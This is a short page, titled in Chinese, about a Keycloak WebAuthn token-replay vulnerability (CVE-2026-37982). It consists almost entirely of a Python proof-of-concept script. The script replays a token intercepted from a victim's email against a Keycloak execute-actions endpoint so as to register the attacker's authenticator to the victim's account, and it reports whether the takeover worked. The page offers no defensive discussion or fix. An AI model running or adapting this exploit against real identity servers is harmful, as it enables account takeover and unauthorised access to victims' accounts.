CVE-2026-37982 Keycloak WebAuthn令牌重放漏洞

import requests # Conceptual PoC for CVE-2026-37982 # This script demonstrates the replay of an intercepted ExecuteActionsActionToken target_url = "https://target-keycloak.com/auth/realms/master/execute-actions" intercepted_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Intercepted token from email # Attacker crafts a request to register their WebAuthn authenticator using the victim's token payload = { "action": "UPDATE_PASSWORD_WEB_AUTHN", # Example action triggering WebAuthn flow "authenticator_attachment": "cross-platform", "user_verification": "required", "attestation": "none" } headers = { "Authorization": f"Bearer {intercepted_token}", "Content-Type": "application/json" } try: # Replay the token to bind attacker's device to victim's account response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Success: Attacker's authenticator registered to victim's account.") else: print(f"[-] Failed: Server returned {response.status_code}") except Exception as e: print(f"[!] Error: {e}")